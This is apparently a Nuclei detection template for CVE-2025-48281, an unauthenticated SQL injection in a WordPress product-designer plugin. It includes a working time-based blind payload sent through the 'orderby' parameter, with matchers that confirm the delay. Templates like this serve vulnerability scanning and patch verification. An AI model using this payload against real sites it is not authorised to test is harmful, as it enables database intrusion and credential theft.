id: CVE-2025-48281

info:
  name: MyStyle Custom Product Designer <= 3.21.1 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The MyStyle Custom Product Designer plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.21.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    An unauthenticated attacker can extract sensitive information from the database including user credentials, password hashes, and other confidential data via time-based blind SQL injection.
  remediation: Update to version 3.21.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48281
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.3
    cve-id: CVE-2025-48281
    epss-score: 0.01308
    epss-percentile: 0.66843
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,wordpress,wp,wp-plugin,sqli,mystyle-custom-product-designer,vkev

http:
  - raw:
      - |
        @timeout: 20s
        GET /designs/?orderby=(SELECT+42+FROM+(SELECT(SLEEP(7)))test) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - contains(body, 'mystyle-custom-product-designer') || contains(body, 'mystyle-design-profile')
        condition: and
# digest: 4a0a00473045022100b30d0bd6f4a3be82c55e6ed5ef1cb5c1c1e5bff4593f7cf57d7eb418619553f6022026bbe4e7aeb1b0a84f5313aa7591285092c5b2da4f35addb4459c44264ebbe98:922c64590222798bb761d5b6d8e72950